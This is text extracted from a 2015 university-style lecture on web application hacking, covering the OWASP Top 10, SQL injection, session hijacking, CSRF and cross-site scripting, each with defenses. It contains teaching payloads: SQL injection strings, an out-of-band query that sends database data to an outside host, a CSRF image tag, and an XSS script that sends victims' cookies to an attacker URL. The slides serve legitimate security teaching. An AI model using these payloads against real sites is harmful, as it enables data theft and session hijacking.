13/03/2015
HACKING
SCHOOL
HackingdeaplicacionesWeb
GabrielMaci Fernndez
Fundamentosdelaweb
CLIENTE
BROWSER
DATOS
PRIVADOS
SERVIDOR
HTTP
WEBSERVER
BASEDE
DATOS
13/03/2015
Interaccinconservidoresweb
URLs
[Link]
.txt
Esquema
Autoridad:servidor(consultaDNS)
Camino
Argumentos
Interaccinconservidoresweb
13/03/2015
WEBAPPLICATIONATTACKS
OWASP
Briefhistory
OWASPTop10 2013
1. Injection
2. Brokenauthenticationandsession management
3. CrossSiteScripting(XSS)
4. InsecureDirectObjectReferences
5. SecurityMisconfiguration
6. SensitiveDataExposure
7. MissingFunctionLevelAccessControl
8. CrossSiteRequestForgery
9. Usingcomponentswithknownvulnerabilities
10. UnvalidateRedirectsandForwards
13/03/2015
INJECTIONATTACKS
Injectionattacks
Fundamento:datosnoconfiablessonenviadosa
unintrpretecomopartedeuncomandoo
consulta.
Algunostipos:
SQLinjection
LDAPinjection
Commandinjection
Hibernateinjection
XPATHinjection
LocalFileInclusion(LFI)
RemoteFileInclusion (RFI)
13/03/2015
SQL(StandardQuery Language)
Nombre
Email
Password
Gabriel
gmacia@[Link]
J3oldgs23
Juan
juan@[Link]
Sdwe3342&
Luis
luis@[Link]
34s3gsd23
SELECT emailFROMUsers WHEREnombre=Gabriel;
UPDATE Users SETemail=juan@[Link]
nombre=Juan; Comentario
INSERT INTOUsers Values (Pepe,pepe@[Link],
34Sgerud);
DROP TABLEUsers;
13/03/2015
Cdigoenelservidor
Login code (PHP)
$result = mysql_query (select * from
Users where (name=$user and
password=$pass););
SQLinjection
Gabriel OR 1=1); --
$result = mysql_query (select * from Users
where (name=Gabriel OR 1=1); -password=$quemasda));
13/03/2015
Loprobamos?
Other attack techniques
SELECT field1, field2, field3 FROM Users
WHERE Id='$Id'
Boolean exploitation
$Id=1'ANDASCII(SUBSTRING(username,1,1))=97AND'1'='1
Errorbased exploitation
INPUT:
id=10||UTL_INADDR.GET_HOST_NAME((SELECTuserFROM
DUAL))
OUTPUT:
ORA292257:hostSCOTTunknown
13/03/2015
Other attack techniques
Out ofBandexploitation
INPUT:
id=10||UTL_HTTP.request([Link]||(SELECTuser
FROMDUAL)
OUTPUT:
/home/tester/nc nLp 80
GET/SCOTTHTTP/1.1
Host:[Link]
Connection:close
Timedelayexploitation
id=10ANDIF(version()like5%,sleep(10),false))
13/03/2015
SQLInjection defenses (I)
InputValition(Sanitizeyourinputs)
Blacklisting
Deletethecharactersyoudonotwant.E.g.;
Downside:JohnOConnor
Escaping
Replaceproblematiccharacterswithsafeones
Changeto\
Libstodothis
Whitelisting
[Link]
SQLInjection defenses (II)
Preparedstatements
Decouplethecodeandthedata
$result = mysql_query (select * from Users
where (name=$user and password=$pass););
$db = new mysql (localhost, user, pass, DB);
$query = $db->prepare(select * from Users where
(name=? and password=?););
$query->bind_param(ss, $user, $pass);
$query->execute();
13/03/2015
SQLInjection defenses (III)
Mitigationstrategies
Limitprivileges
Encryptsensitivedata
CreditCardsTable
userPasswords
SESSIONHIJACKINGATTACKS
10
13/03/2015
StatefulHTTP
HTTPis stateless
Cookiesforimplementing statefulness
SessionHijacking
Knowing acookiegives you access with the
privileges ofthe user that established that
session
How tosteal session cookies
Compromise the serveror users machine/browser
Predict it based on other information
Sniff the network
DNScachepoisoning
Trick the user into thinking you areLinkedIn
The user will send you the cookie
Networkbased attacks
11
13/03/2015
Loprobamos?
Defenses
Unpredictability
Randomandlongcookies
Timeoutsessionsanddeletetokens
IPAddresscheck(Doubtfuldefense)
Maybeproblematic
ChangeofIPduetoDHCP,WIFIto3G
SameIPforNATboxes
12
13/03/2015
CROSSSITEREQUESTFORGERY
(CSRF)ATTACKS
Fundaments
Imaginethat
Auser is logged inwith an activesession cookie
This request is issued
[Link]
How could you get auser tovisit this link?
13
13/03/2015
CSRFattack
<img src=[Link]
[Link]
Cookie
browser
$$$
[Link]
Defenses
UsingREFERERfield
Problems:
Refererisoptional
Attackercanforcereferernottobesent
Maninthemiddle
Browservulnerability
Bounceuseroffofapageas:[Link]
Usingsecretized links
[Link]
14
13/03/2015
CROSSSITESCRIPTING(XSS)
ATTACKS
Sameoriginpolicy
JavaScriptenablesWeb2.0
Modifywebpages(DOM)
TrackEvents
Issuewebrequestsandmaintainconnections(AJAX)
Readandsetcookies
Browsersprovideisolationforjavascriptscripts
viatheSameOriginPolicy
OnlyScriptsreceivedfromawebpagesoriginhave
accesstothepageselements
15
13/03/2015
Stored XSSattack
GET [Link]
[Link]
1
browser
Inyecta
script
malicioso
4
Ejecutaelscript
Comosielservidor
noslohubiera
solicitado
[Link]
GET [Link]
Reflected XSSattack
[Link]
browser
URLespecialmente
construidaparaelataque
5
Ejecutaelscript
Comosielservidor
noslohubiera
solicitado
[Link]
16
13/03/2015
Echoofuser input
The key:finding situations where aserver
echoes the user inputbackinthe HTML
response
Example:
GET [Link]
Result from [Link]:
<html> <title> Search results </title>
<body>
Results for guitars:
</body></html>
Exploiting echoed input
[Link]
<script> [Link](
[Link]
+ [Link])
</script>
Result from [Link]:
<html> <title> Search results
</title>
<body>
Results for <script> </script>:
</body></html>
17
13/03/2015
Loprobamos?
Defenses
Sanitizing:remove executable portions of
userprovided input
Doneon many [Link]
[Link]
Blacklist vsWhitelist
18
13/03/2015
Elreto
Thanks for your attention
Thanks to:
MichaelHicks for its nice examples about webattacks
19